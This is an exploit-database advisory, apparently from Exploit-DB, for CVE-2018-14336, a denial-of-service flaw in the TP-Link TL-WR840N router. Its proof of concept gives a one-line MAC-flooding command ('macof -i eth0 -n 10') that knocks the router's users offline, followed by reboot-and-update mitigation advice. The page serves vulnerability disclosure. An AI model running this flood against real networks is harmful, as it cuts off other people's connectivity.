TP-Link Wireless N Router WR840N - Buffer Overflow

vendor:

TL-WR840N

by:

Aniket Dinda

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: TL-WR840N

Affected Version From: TP-Link Wireless N Router WR840N

Affected Version To: TP-Link Wireless N Router WR840N

Patch Exists: YES

Related CWE: CVE-2018-14336

CPE: h:tp-link:tl-wr840n

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux

2018

TP-Link Wireless N Router WR840N – Buffer Overflow

An attacker can cause a denial of service by sending a large number of malicious packets to the router, causing it to crash and lose connection.

Mitigation:

Reboot the router and update the firmware.

Source

Exploit-DB raw data:

# Exploit Title:- TP-Link Wireless N Router WR840N - Buffer Overflow
# Date:- 2018-07-16
# Vendor Homepage:- https://www.tp-link.com/
# Hardware Link:-  https://www.amazon.in/TP-LINK-TL-WR840N-300Mbps-Wireless-External/dp/B01A0G1J7Q
# Version:- TP-Link Wireless N Router WR840N
# Category:- Hardware
# Exploit Author:-  Aniket Dinda
# Tested on:- Linux
# CVE:- CVE-2018-14336

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Proof Of Concept:-

1- First connect to this network
2- Open terminal => And Type  "macof -i eth0 -n 10"
3- Hit Enter
4- You will see that your Net connection will lost.
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Solutions:
1- You have to Reboot your router .